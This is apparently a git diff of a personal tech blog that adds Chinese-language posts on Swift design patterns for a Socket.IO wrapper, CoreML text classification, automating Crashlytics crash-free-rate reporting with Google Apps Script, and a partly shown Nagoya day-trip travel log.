+    func sendEvent(_ event: String) {
+        //
+    }
+    
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never> {
+        //
+        return PassthroughSubject<Data?, Never>().eraseToAnyPublisher()
+    }
+}
+
+//
+
+struct ConnectionKeeperHandlerContext {
+    let connection: Connection
+    let isOccupie: Bool
+}
+
+protocol ConnectionKeeperHandler {
+    var nextHandler: ConnectionKeeperHandler? { get set }
+    
+    func handle(context: ConnectionKeeperHandlerContext)
+    func execute(context: ConnectionKeeperHandlerContext)
+    func canExcute(context: ConnectionKeeperHandlerContext) -> Bool
+}
+
+extension ConnectionKeeperHandler {
+    func handle(context: ConnectionKeeperHandlerContext) {
+        if canExcute(context: context) {
+            execute(context: context)
+        } else {
+            nextHandler?.handle(context: context)
+        }
+    }
+}
+
+class DisconnectedConnectionKeeperHandler: ConnectionKeeperHandler {
+    var nextHandler: ConnectionKeeperHandler?
+    
+    func execute(context: ConnectionKeeperHandlerContext) {
+        context.connection.disconnect()
+    }
+    
+    func canExcute(context: ConnectionKeeperHandlerContext) -> Bool {
+        if context.connection.connectionState == .connected && !context.isOccupie {
+            return true
+        }
+        return false
+    }
+}
+
+class ReconnectConnectionKeeperHandler: ConnectionKeeperHandler {
+    var nextHandler: ConnectionKeeperHandler?
+    
+    func execute(context: ConnectionKeeperHandlerContext) {
+        context.connection.reconnect()
+    }
+    
+    func canExcute(context: ConnectionKeeperHandlerContext) -> Bool {
+        if context.connection.connectionState == .disconnected && context.isOccupie {
+            return true
+        }
+        return false
+    }
+}
+
+class ReleasedConnectionKeeperHandler: ConnectionKeeperHandler {
+    var nextHandler: ConnectionKeeperHandler?
+    
+    func execute(context: ConnectionKeeperHandlerContext) {
+        context.connection.disconnect()
+    }
+    
+    func canExcute(context: ConnectionKeeperHandlerContext) -> Bool {
+        if context.connection.connectionState == .disconnected && !context.isOccupie {
+            return true
+        }
+        return false
+    }
+}
+let connection = SIOConnection(url: URL(string: "wss://pinkoi.com")!)
+let disconnectedHandler = DisconnectedConnectionKeeperHandler()
+let reconnectHandler = ReconnectConnectionKeeperHandler()
+let releasedHandler = ReleasedConnectionKeeperHandler()
+disconnectedHandler.nextHandler = reconnectHandler
+reconnectHandler.nextHandler = releasedHandler
+
+disconnectedHandler.handle(context: ConnectionKeeperHandlerContext(connection: connection, isOccupie: false))
+

需求場景 4.

What?

我們封裝出的 Connection 需要經過 setup 後才能使用,例如給予 URL Path、設定 Config…等等

Why?

  • 可以彈性的增減構建開口
  • 可複用構建邏輯
  • 未封裝的話,外部可以不照預期操作類別
  • e.g.:
1
+2
+3
+4
+5
+6
+7
+8
+
❌
+let connection = Connection()
+connection.send(event) // unexpected method call, should call .connect() first
+✅
+let connection = Connection()
+connection.connect()
+connection.send(event)
+// but...who knows???
+

How?

  • Builder Pattern :創建型 Pattern,能夠分步驟構建對象及複用構建方法。

  • Builder Pattern: SIOConnectionBuilderConnection 的構建器,負責設定、存放構建 Connection 時會用到的資料; ConnectionConfiguration 抽象介面用來保證要使用 Connection 前必須呼叫 .connect() 才能拿到 Connection 實體。
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+
enum ConnectionState {
+    case created
+    case connected
+    case disconnected
+    case reconnecting
+    case released
+}
+
+protocol Connection {
+    var connectionState: ConnectionState {get}
+    var url: URL {get}
+    var id: UUID {get}
+    
+    init(url: URL)
+    
+    func connect()
+    func reconnect()
+    func disconnect()
+    
+    func sendEvent(_ event: String)
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never>
+}
+
+// Socket.IO Implementation
+class SIOConnection: Connection {
+    let connectionState: ConnectionState = .created
+    let url: URL
+    let id: UUID = UUID()
+    
+    required init(url: URL) {
+        self.url = url
+        //
+    }
+    
+    func connect() {
+        //
+    }
+    
+    func disconnect() {
+        //
+    }
+    
+    func reconnect() {
+        //
+    }
+    
+    func sendEvent(_ event: String) {
+        //
+    }
+    
+    func onEvent(_ event: String) -> AnyPublisher<Data?, Never> {
+        //
+        return PassthroughSubject<Data?, Never>().eraseToAnyPublisher()
+    }
+}
+
+//
+class SIOConnectionClient: ConnectionConfiguration {
+    private let url: URL
+    private let config: [String: Any]
+    
+    init(url: URL, config: [String: Any]) {
+        self.url = url
+        self.config = config
+    }
+    
+    func connect() -> Connection {
+        // set config
+        return SIOConnection(url: url)
+    }
+}
+
+protocol ConnectionConfiguration {
+    func connect() -> Connection
+}
+
+class SIOConnectionBuilder {
+    private(set) var config: [String: Any] = [:]
+    
+    func setConfig(_ config: [String: Any]) -> SIOConnectionBuilder {
+        self.config = config
+        return self
+    }
+    
+    // url is required parameter
+    func build(url: URL) -> ConnectionConfiguration {
+        return SIOConnectionClient(url: url, config: self.config)
+    }
+}
+
+let builder = SIOConnectionBuilder().setConfig(["test":123])
+
+
+let connection1 = builder.build(url: URL(string: "wss://pinkoi.com/1")!).connect()
+let connection2 = builder.build(url: URL(string: "wss://pinkoi.com/1")!).connect()
+

延伸:這裏也可以再套用 Factory Pattern ,將用工廠產出 SIOConnection

完結!

以上就是本次封裝 Socket.IO 中遇到的四個場景及七個使用到解決問題的 Design Patterns。

最後附上此次封裝 Socket.IO 的完整設計藍圖

與文中命名、示範略為不同,這張圖才是真實的設計架構;有機會再請原設計者分享設計理念及開源。

Who?

誰做了這些設計跟負責 Socket.IO 封裝專案呢?

Sean Zheng , Android Engineer @ Pinkoi

主要架構設計者、Design Pattern 評估套用、在 Android 端使用 Kotlin 實現設計。

ZhgChgLi , Enginner Lead/iOS Enginner @ Pinkoi

Platform Team 專案負責人、Pair programming、在 iOS 端使用 Swift 實現設計、討論並提出質疑(a.k.a. 出一張嘴)及最後撰寫本文與大家分享。

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate

Converting Medium Posts to Markdown

diff --git a/posts/793bf2cdda0f/index.html b/posts/793bf2cdda0f/index.html new file mode 100644 index 000000000..699612f16 --- /dev/null +++ b/posts/793bf2cdda0f/index.html @@ -0,0 +1,43 @@ + 嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練! | ZhgChgLi
Home 嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!
Post
Cancel

嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!

嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!

探索CoreML 2.0,如何轉換或訓練模型及將其應用在實際產品上

接續 上一篇 針對在 iOS上使用機器學習的研究,本篇正式切入使用CoreML

首先簡述一下歷史,蘋果在2017年發布了CoreML(包含上篇文章介紹的Vision) 機器學習框架;2018緊接著推出CoreML 2.0,除 效能提升 外還支援 自訂客製化CoreML模型

前言

如果你只是聽過「機器學習」這個名詞而不清楚他的意思的話,這邊用一句話簡單說明:

「依照你過往的經驗去預測未來同樣事情的結果」

例如:我吃蛋餅要加番茄醬,買過幾次後早餐店老闆娘就會記得,「帥哥,加番茄醬?」我回答:「是」 — 老闆娘預測正確;若回答「不是,因為是蘿蔔糕+蛋餅」 — 老闆娘記得並再下次遇到相同情況修正他的問題.

輸入的資料:蛋餅、起司蛋餅、蛋餅+蘿蔔糕、蘿蔔糕、蛋

輸出的資料:要加番茄醬/不加番茄醬

模型:老闆娘的記憶跟判斷

其實我對機器學習的認知,也是在純粹知道概念理論,但沒實際深入了解過,如有錯誤請大家多多指教

提到這就要順便拜🛐一下蘋果大神,把機器學習產品化,只要知道基本概念就能操作,不用具備龐大的知識基礎,降低入門門檻,我自己也是在實作過這個範例後,才第一次覺得有接觸到機器學習的踏實感,讓我對這個項目產生很大的興趣.

開始

第一步,最重要的當然是前面所提到的「模型」,模型從哪來呢?

有三種方式:

  • 網路找別人訓練好的模型並轉成CoreML的格式

Awesome-CoreML-Models 這個GitHub專案搜集很多別人訓練好的模型

模型轉換可參考 官網 或網路資料

  • 蘋果 Machine Learning官網 最下方的 Download Core ML Models ,可以下載蘋果幫我們訓練好的模型 (主要是拿來學習或測試而已)
  • 運用工具自己訓練模型🏆

所以,能做什麼?

  • 圖片辨識 🏆
  • 文字內容識別分類🏆
  • 文字斷詞
  • 文字語言判斷
  • 名詞識別

斷詞請參考 在 iOS App 中進行自然語言處理:初探 NSLinguisticTagger

今日主要重點 — 文字內容識別分類+ 自己訓練模型

講白話就是,我們給機器「文字內容」跟「分類」訓練電腦對未來的資料做分類.例如:「點擊查看最新優惠!」、「1000$購物金馬上領」=>「廣告」;「Alan發送一則訊息給您」、「您的帳戶即將到期」=>「重要事項」

實際應用:垃圾信件判別、標籤產生、分類預測

p.s 由於圖片辨識我還沒想到能訓練它做什麼,所以就沒去研究了;有興趣的朋友可以看 這篇 ,官方有提供圖片的GUI訓練工具 很方便!!

需求工具: MacOS Mojave⬆ + Xcode 10

訓練工具: BlankSpace007/TextClassiferPlayground (官方只提供 圖片的GUI訓練工具 ,文字的要自己寫;這是由網路大神提供的第三方工具)

準備訓練資料:

資料結構如上圖,支援.json,.csv檔

資料結構如上圖,支援.json,.csv檔

準備好要拿來訓練的資料,這裡以用Phpmyadmin(Mysql) 匯出訓練資料

1
+
SELECT `title` AS `text`,`type` AS `label` FROM `posts` WHERE `status` = '1'
+

匯出方式更改成JSON格式

匯出方式更改成JSON格式

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
[
+{"type":"header","version":"4.7.5","comment":"Export to JSON plugin for PHPMyAdmin"},
+{"type":"database","name”:"db"},
+{"type":"table","name”:"posts","database”:"db","data":
+//以上刪除
+[
+  {
+     “label”:””,
+     “text”:”"
+  }
+]
+//以下刪除
+}]
+

打開剛下載的JSON檔案,只留下中間DATA結構裡的內容

使用訓練工具:

下載好訓練工具後,點擊 TextClassifer.playground 打開 Playground

點擊紅匡執行->點擊綠匡切換View顯示

點擊紅匡執行->點擊綠匡切換View顯示

將JSON檔案拉入GUI工具

將JSON檔案拉入GUI工具

打開下方Console查看訓練進度,看到「測試正確率」這行代表已完成模型訓練

打開下方Console查看訓練進度,看到「測試正確率」這行代表已完成模型訓練

資料太多就要考驗考驗你的電腦處理能力。

填寫基本訊息後按「保存」

填寫基本訊息後按「保存」

保存下訓練好的模型檔案

CoreML 模型檔

CoreML 模型檔

到此你的模型就已經訓練好囉!是不是很容易

具體訓練方式:

  1. 先將輸入的語句做斷詞(我想知道婚禮需要準備什麼=>我想,知道,婚禮,需要,準備,什麼),再看他的分類是什麼做一連串的機器學習計算。
  2. 將訓練資料分組,例如: 80% 是拿來訓練另外20%是拿來測試驗證

到這邊已經完成大部分的工作,接下來只要把模型檔加入iOS 專案中,寫個幾行程式就行囉。

將模型檔案( * .mlmodel) 拖曳/加入專案之中

將模型檔案( * .mlmodel) 拖曳/加入專案之中

程式部分:

1
+2
+3
+4
+5
+6
+7
+
import CoreML
+
+//
+if #available(iOS 12.0, *),let prediction = try? textClassifier().prediction(text: "要預測的文字內容") {
+    let type = prediction.label
+    print("我覺得是...\(type)")
+}
+

完工!

待探索問題:

  1. 可以支持再學習?
  2. 可以將mlmodel模型檔轉換到其他平台?
  3. 能再iOS上訓練模型?

以上三點,目前查到的資料是都不行。

結語:

目前我將其應用在實務APP上,做文章發文時預測他的分類

[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

結婚吧APP

我拿去訓練資料約才100筆,目前預測命中率約35%,主要為實驗性質而已。

— — — — —

就是這麼簡單,完成人生中第一個機器學習項目;其中背景如何運作還有很長的路可以學習,希望這個項目能給大家一些啟發!

參考資料: WWDC2018之Create ML(二)

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)

提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)

diff --git a/posts/793cb8f89b72/index.html b/posts/793cb8f89b72/index.html new file mode 100644 index 000000000..b1b8eeb42 --- /dev/null +++ b/posts/793cb8f89b72/index.html @@ -0,0 +1,191 @@ + Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate | ZhgChgLi
Home Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate
Post
Cancel

Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate

Crashlytics + Google Analytics 自動查詢 App Crash-Free Users Rate

使用 Google Apps Script 透過 Google Analytics 查詢 Crashlytics 自動填入到 Google Sheet

上篇「 Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具 」我們將 Crashlytics 閃退紀錄 Export Raw Data 到 Big Query,並使用 Google Apps Script 自動排程查詢 Top 10 Crash & 發布訊息到 Slack Channel。

本篇接續自動化一個與 App 閃退相關的重要數據 — Crash-Free Users Rate 不受影響使用者的百分比 ,想必很多 App Team 都會持續追縱、紀錄此數據,以往都是傳統人工手動查詢,本篇目標是將此重複性工作自動化、也能避免人工查詢時可能貼錯數據的狀況;同之前所述,Firebase Crashlytics 沒有提供任何 API 供使用者查詢,所以我們同樣要借助將 Firebase 數據串接到其他 Google 服務,再透過該服務 API 查詢相關數據。

一開始我以為這個數據同樣能從 Big Query 查詢出來;但其實這方向完全錯誤,因為 Big Query 是 Crash 的 Raw Data,不會有沒有閃退的人的數據,因此也算不出 Crash-Free Users Rate;關於這個需求在網路上的資料不多,查詢許久才找到有人提到 Google Analytics 這個關鍵字;我知道 Firebase 的 Analytics、Event 都能串到 GA 查詢使用,但沒想到 Crash-Free Users Rate 這個數據也包含在內,翻閱了 GA 的 API 後,Bingo!

[API Dimensions & Metrics](https://developers.google.com/analytics/devguides/reporting/data/v1/api-schema?hl=en){:target="_blank"}

API Dimensions & Metrics

Google Analytics Data API (GA4) 提供兩個 Metrics:

  • crashAffectedUsers :受閃退影響的使用者數量
  • crashFreeUsersRate :不受閃退影響的使用者百分比(小數表示)

知道路通之後,就可以開始動手實作了!

串接 Firebase -> Google Analytics

可參考 官方說明 步驟設定,本篇省略。

GA4 Query Explorer Tool

開始寫 Code 之前,我們可以先用官方提供的 Web GUI Tool 來快速建造查詢條件、取得查詢結果;實驗完結果是我們想要的之後,再開始寫 Code。前

前往 >>> GA4 Query Explorer

  • 在左上方記得選到 GA4
  • 右方登入完帳號後,選擇相應的 GA Account & Property

  • Start Date、EndDate:可直接輸入日期或用特殊變數表示日期 ( ysterday , today , 30daysAgo , 7daysAgo )

  • metrics:增加 crashFreeUsersRate

  • dimensions:增加 platform (設備類型 iOS/Android/Desktop. . . )

  • dimension filter:增加 platformstringexactiOS or Android

針對雙平台的 Crash Free Users Rate 分別查詢。

拉到最下面點擊「Make Request」查看結果,我們就能得到指定日期範圍內的 Crash-Free Users Rate。

可以回頭打開 Firebase Crashlytics 比對同樣條件數據是否相同。

這邊有發現兩邊數字可能會有微微差距(我們有一項數字差了 0.0002),原因不明,不過在可以接受的誤差範圍內;若統一都使用 GA Crash-Free Users Rate 那也不能算是誤差了。

使用 Google Apps Script 自動填入數據到 Google Sheet

再來就是自動化的部分,我們將使用 Google Apps Script 查詢 GA Crash-Free Users Rate 數據後自動填入到我們的 Google Sheet 表單;已達自動填寫、自動追蹤的目標。

假設我們的 Google Sheet 如上圖。

可以點擊 Google Sheet 上方的 Extensions -> Apps Script 建立 Google Apps Script 或是 點此前網 Google Apps Script -> 左上方 新增專案即可。

進來後可以先點上方未命名專案名稱,給個專案名稱。

在左方的「Services」點「+」加上「Google Analytics Data API」。

回到剛剛的 GA4 Query Explorer 工具,在 Make Request 按鈕旁邊可以勾選「Show Request JSON」取得此條件的 Request JSON。

將此 Request JSON 轉換成 Google Apps Script 後如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+
// Remeber add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined
+// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property id
+const propertyId = "";
+// https://docs.google.com/spreadsheets/d/googleSheetID/
+const googleSheetID = "";
+// Google Sheet 名稱
+const googleSheetName = "App Crash-Free Users Rate";
+
+function execute() {
+  Logger.log(fetchCrashFreeUsersRate())
+}
+
+function fetchCrashFreeUsersRate(platform = "iOS", startDate = "30daysAgo", endDate = "today") {
+  const dimensionPlatform = AnalyticsData.newDimension();
+  dimensionPlatform.name = "platform";
+
+  const metric = AnalyticsData.newMetric();
+  metric.name = "crashFreeUsersRate";
+
+  const dateRange = AnalyticsData.newDateRange();
+  dateRange.startDate = startDate;
+  dateRange.endDate = endDate;
+
+  const filterExpression = AnalyticsData.newFilterExpression();
+  const filter = AnalyticsData.newFilter();
+  filter.fieldName = "platform";
+  const stringFilter = AnalyticsData.newStringFilter()
+  stringFilter.value = platform;
+  stringFilter.matchType = "EXACT";
+  filter.stringFilter = stringFilter;
+  filterExpression.filter = filter;
+
+  const request = AnalyticsData.newRunReportRequest();
+  request.dimensions = [dimensionPlatform];
+  request.metrics = [metric];
+  request.dateRanges = dateRange;
+  request.dimensionFilter = filterExpression;
+
+  const report = AnalyticsData.Properties.runReport(request, "properties/" + propertyId);
+
+  return parseFloat(report.rows[0].metricValues[0].value) * 100;
+}
+

在一開始的選擇 Property 選單中,選擇的 Property 下方的數字就是 propertyId

將以上程式碼貼到 Google Apps Script 右方程式碼區塊&上方執行方法選擇「execute」function 後可以點擊 Debug 測試看看是否能正常取得資料:

第一次執行會出現要求授權視窗:

按照步驟完成帳號授權即可。

執行成功會在下方 Log Print 出 Crash-Free Users Rate,代表查詢成功。

再來我們只要再加上自動填入 Google Sheet 就大功告成了!

完整 Code:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+
// Remeber add Google Analytics Data API to Services, or you'll see this error: ReferenceError: AnalyticsData is not defined
+
+// https://ga-dev-tools.web.app/ga4/query-explorer/ -> property id
+const propertyId = "";
+// https://docs.google.com/spreadsheets/d/googleSheetID/
+const googleSheetID = "";
+// Google Sheet 名稱
+const googleSheetName = "";
+
+function execute() {
+  const today = new Date();
+  const daysAgo7 = new Date(new Date().setDate(today.getDate() - 6)); // 今天不算,所以是 -6
+
+  const spreadsheet = SpreadsheetApp.openById(googleSheetID);
+  const sheet = spreadsheet.getSheetByName(googleSheetName);
+  
+  var rows = [];
+  rows[0] = Utilities.formatDate(daysAgo7, "GMT+8", "MM/dd")+"~"+Utilities.formatDate(today, "GMT+8", "MM/dd");
+  rows[1] = fetchCrashFreeUsersRate("iOS", Utilities.formatDate(daysAgo7, "GMT+8", "yyyy-MM-dd"), Utilities.formatDate(today, "GMT+8", "yyyy-MM-dd"));
+  rows[2] = fetchCrashFreeUsersRate("android", Utilities.formatDate(daysAgo7, "GMT+8", "yyyy-MM-dd"), Utilities.formatDate(today, "GMT+8", "yyyy-MM-dd"));
+  sheet.appendRow(rows);
+}
+
+function fetchCrashFreeUsersRate(platform = "iOS", startDate = "30daysAgo", endDate = "today") {
+  const dimensionPlatform = AnalyticsData.newDimension();
+  dimensionPlatform.name = "platform";
+
+  const metric = AnalyticsData.newMetric();
+  metric.name = "crashFreeUsersRate";
+
+  const dateRange = AnalyticsData.newDateRange();
+  dateRange.startDate = startDate;
+  dateRange.endDate = endDate;
+
+  const filterExpression = AnalyticsData.newFilterExpression();
+  const filter = AnalyticsData.newFilter();
+  filter.fieldName = "platform";
+  const stringFilter = AnalyticsData.newStringFilter()
+  stringFilter.value = platform;
+  stringFilter.matchType = "EXACT";
+  filter.stringFilter = stringFilter;
+  filterExpression.filter = filter;
+
+  const request = AnalyticsData.newRunReportRequest();
+  request.dimensions = [dimensionPlatform];
+  request.metrics = [metric];
+  request.dateRanges = dateRange;
+  request.dimensionFilter = filterExpression;
+
+  const report = AnalyticsData.Properties.runReport(request, "properties/" + propertyId);
+
+  return parseFloat(report.rows[0].metricValues[0].value) * 100;
+}
+

再次點擊上方 Run or Debug 執行「execute」。

回到 Google Sheet,數據新增成功!

新增 Trigger 排程自動執行

選擇左方時鐘按鈕 -> 右下方「+ Add Trigger」。

  • 第一個 function 選擇「execute」
  • time based trigger 可選擇 week timer 每週追蹤&新增一次數據

設定完點擊 Save 即可。

完成

現在開始,紀錄追蹤 App Crash-Free Users Rate 數據完全自動化;不需要人工手動查詢&填入;全部交給機器自動處理!

我們只需專注在解決 App Crash 問題!

p.s. 不同於上一篇使用 Big Query 需要花錢查詢資料,此篇查詢 Crash-Free Users Rate、Google Apps Script 都是完全免費,可以放心使用。

如果想將結果同步發送到 Slack Channel 可參考 上一篇文章

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

iOS 隱私與便利的前世今生

Design Patterns 的實戰應用紀錄

diff --git a/posts/7b8a0563c157/index.html b/posts/7b8a0563c157/index.html new file mode 100644 index 000000000..6eaacd948 --- /dev/null +++ b/posts/7b8a0563c157/index.html @@ -0,0 +1 @@ + 遊記 9/11 名古屋一日快閃自由行 | ZhgChgLi
Home 遊記 9/11 名古屋一日快閃自由行
Post
Cancel

遊記 9/11 名古屋一日快閃自由行

[遊記] 9/11 名古屋一日快閃自由行

樂桃航空名古屋一日快閃機票旅(ㄒㄧㄥˊ)遊(ㄐㄩㄣ)體驗

背景

一日名古屋來回機票是樂桃航空推出的活動:

快閃來回票價 | Peach Aviation 羽田加入行列囉!最長可停留28小時50分鐘! www.flypeach.com

我那時候買名古屋一日來回含機場服務費的價格是 $5,600無托運、無餐點、無指定座位 ;來回都是紅眼航班:

  • 去程:TPE 02:25 -> NGO 06:30
  • 回程:NGO 23:15 -> TPE 01:25

照官方宣傳文宣, 最長停留時間 16小時45分鐘

手提行李規定: 每人兩件 & 總重小於 7 公斤

[手提行李規定](https://www.flypeach.com/tw/lm/ai/airports/baggage/carry_on_bag){:target="_blank"}

手提行李規定

日期: 2023/09/11、獨旅

Visit Japan

為了加速入境一樣直接預先填寫好入境資訊,直接用 QRCode 就能完成入境手續:

  • 這邊停留時間填寫 1 日,在日聯絡資訊我直接填寫 名古屋中部國際機場的資訊,沒有被問,安全通過!

中部國際機場資訊

中部國際機場資訊

總結(寫在前面)

一日快閃是一場體力與精神的考驗;本來計劃候機或在機上睡,但是候機時間太早沒睡意,上飛機後飛機位子太小、沒排到靠窗、引擎聲很吵,沒有真的睡著,因此等於整晚都沒睡;下飛機 6:00 就開始跑名古屋行程;一度累到中午在名古屋塔的咖啡廳(安靜、沒什麼人)趴著睡了半個多小時。

時間與景點有限,不太能去太遠。

除了人體的電量,手機的電量也是一大考驗;我是帶 20,000 毫安時的小米行動電源才跑完全部行程的(大概來回充了 iPhone 13,4–5 次)。

回台灣大約凌晨 2–3 點,沒有公共交通,只能搭計程車回台北。

可以 +幾百塊 選靠窗的位置、準備頸枕、耳塞比較好睡。

起程

9/10 PM 22:03 — 抵達 機捷 A1 台北車站,搭乘 22:15 直達車前往第一航廈

9/10 PM 10:55 — 抵達 第一航廈出境大廳

來的太早,報到櫃檯 23:55 才開放(雖然沒有托運但不知道為什麼無法使用網路報到,所以還是只能等櫃檯開放)。

還有一小時才開放報到,索性先回 B1 美食街找位子休息;晚上 11 點的美食街所有店面都關了(包含超商),什麼吃的都買不到。

9/11 AM 00:09 — 完成出境

報到櫃檯提早開放,我 11:40 回到出境大廳就看到開始報到了;沒有托運行李、只背個包包,快速的完成報告&安全檢查&出境。

9/11 開始,正式倒數 24 小時!

9/11 AM 00:12 — 在第一航廈亂晃

值得一提的是,第一航廈有免費開放的休息區貴賓室,只要照個往貴賓室的指標走就會到了;環境、位子類似咖啡廳,還有淋浴室(有開放時間 AM 6 — PM 10);細節介紹可參考 這篇文章

在休息區那邊其實比較好睡,因為可以趴著。。。但我那時候只有路過看了一眼就開始在機場尋找有賣吃的東西的地方(因沒飛機餐),但可想而知時間太晚全都關了,最後只找到一台有賣餅乾的販賣機,於是買了一包義美泡芙、投了罐茶帶著。

9/11 AM 00:45 — 在登機門候機

來的真的太早了,候機室沒什麼人;椅子是兩個兩個一組,很難躺著睡(很醜,我拍完照就起來了)、仰著睡也不舒服、還有候機室冷氣很冷;不過那時候精神還算好,沒什麼睡意,後面時間越來越接近人也越來越多,吵雜聲越來越大,就更難睡了;因此就只有閉目養神儲存精力、翻翻日文基礎(五十音),想說上飛機在睡一波。

9/11 AM 02:14 — 完成登機

飛機小延誤,本來是預計 01:55 開始登機,延誤 10 分鐘;最後我在 02:15 完成登機。

9/11 AM 02:26 — 飛機起飛

位子超小,在走道邊沒有頭的依靠,還好有帶頸枕加減有些支撐,但一路上引擎的轟鳴聲+脖子的酸=幾乎沒有睡著,就這樣一路顛波到名古屋;機上也沒有螢幕顯示飛航距離,覺得時間很漫長。

要我再選的話,我會選擇 +幾百塊 選靠窗的位置;一是頭有地方靠比較好睡、二是早上飛抵日本時能從窗戶看到日出!!

9/11 AM 06:20 — 抵達 名古屋中部國際機場

9/11 AM 06:35— 完成入境

可能是一大早+不需要提領行李,從飛機落地到入境只花不到 15 分鐘;但是天空不作美,名古屋正在下大雨。

9/11 AM 7:03 — 候車前往名古屋市區

一張是座位資訊一張是進出票(投入機器用)

一張是座位資訊一張是進出票(投入機器用)

我是先從 Klook 買的 中部國際機場 -> 名古屋鐵道單程車票+uSky 列車 ($271),想說來了都來了就坐看看最新最好的火車;指定座位、很穩定舒適而且是特急列車。

不過如果要省錢跟方便,其實現場買準急或是直接進站搭普通車就可以了;附上列車時刻表及停留站,或直接從 名鐵網站查詢

第 1 個目的地: Konparu Osu コンパル 大須本店 吃炸蝦吐司

需要在 金山(NH34) 就下車 改搭 名城縣 前往 上前津車站。

9/11 AM 8:00 抵達 Konparu Osu コンパル 大須本店

8 點開門,一大清早完全沒人,附近的大須商店街也沒有該使營業。

咖啡是必須的,畢竟整晚沒睡;炸蝦吐司的蝦是真的整之下去切成的,吃得到蝦肉的 Q 彈。

第 2 個目的地: 名古屋城

名古屋城 9:00 開,其他景點沒那麼早開、從 上前津車站 去也順路很近,因此先去名古屋城。

9/11 AM 9:02 抵達 名古屋城

吃飽出發後,約莫 9:02 抵達名古屋城站。

出車站發現外面正下起大雨,我沒料到日本會下雨,沒帶雨傘;附近很空曠沒看到超商,最後在名古屋城站地下街往對面名古屋市役所的 B1 找到全家超商,買了一隻雨傘繼續前往名古屋城!

走進名古屋城雨勢稍緩,但是天守閣尚在維修不開放,只能參觀旁邊金碧輝煌的本丸御殿。

本丸御殿

本丸御殿

進入本丸御殿要脫鞋、寄放包包(免費,但要有 $100 日幣硬幣)。

第 2 個目的地: 中部電力MIRAI TOWER(原名名古屋電視塔)

就在名古屋城的右下角,距離約 2 站;我走出名古屋城後搭公車前往。

9/11 AM 10:08 — 抵達 中部電力MIRAI TOWER(原名名古屋電視塔)

天氣時陰時晴,去的時候轉晴,離開的時候又轉陰。

買票後可以上到觀景台鳥瞰名古屋市(如果只是要去中間層的咖啡廳不需買票,咖啡廳也能看到一些景觀)。

咖啡廳視野,時間接近 10:30 開始睏意來襲;在這邊趴著睡到 11 點多才離開,這邊位子很多、人少、安靜…實在太適合補眠了。

第 3 個目的地: 綠洲21

綠洲 21 就在名古屋塔外面,但由於下雨+平日+早上,所以沒什麼好逛的,去繞了一下就離開了。

第 4 個目的地: 矢場丼 矢場町本店

時間接近中午,想說吃一下名古屋有名的味噌豬排,本店距離名古屋塔約一兩站的距離,決定用走的。

第 5 個目的地: 大須商店街

走到的時候發現人多要排隊…時間寶貴,因也靠近大須商店街了,就再繼續走往大須商店街覓食。

9/11 PM 12:09 — 抵達 大須商店街

一路往大須觀音方向走,快到大須觀音前有另一家 史場的分店 ,入內用餐。

無腦的點套餐吃,想想點錯了,主要是想吃左上角的味噌豬排,套餐是 味噌豬排+炸柳葉魚+佃煮+小菜+湯+飯;味噌豬排好吃但太少吃不夠啊!

第 6 個目的地: 大須觀音

這家店出來就是大須觀音。

9/11 PM 13:05— 抵達 大須觀音

本殿維修中,只在外面逛逛就離開了。

怕鳥的別來,外面鴿子很多,可以買飼料餵鴿子。

第 7 個目的地: 熱田神宮

再逛一次大須商店街,走回名城線,前往熱田神宮。

路上買了 弁才天 水果大福來吃,皮薄嫩、水果新鮮汁多,一口氣買了兩個吃!(我覺得比 如水庵 的好吃 XD)

再去商店街的藥妝簡單採購了一些可以帶上飛機的藥品帶回去台灣。

9/11 PM 13:35 — 抵達 熱田神宮

名城線熱田神宮站出來,要再走一段才會到熱田神宮參拜正門。

簡單參拜後,買了些御守就離開了。

第 8 個目的地: 名鐵名古屋 逛街

最後一個點是去名鐵逛逛(其實到這邊的時候已經很累了)。

9/11 PM 14:40 — 抵達 名鐵名古屋

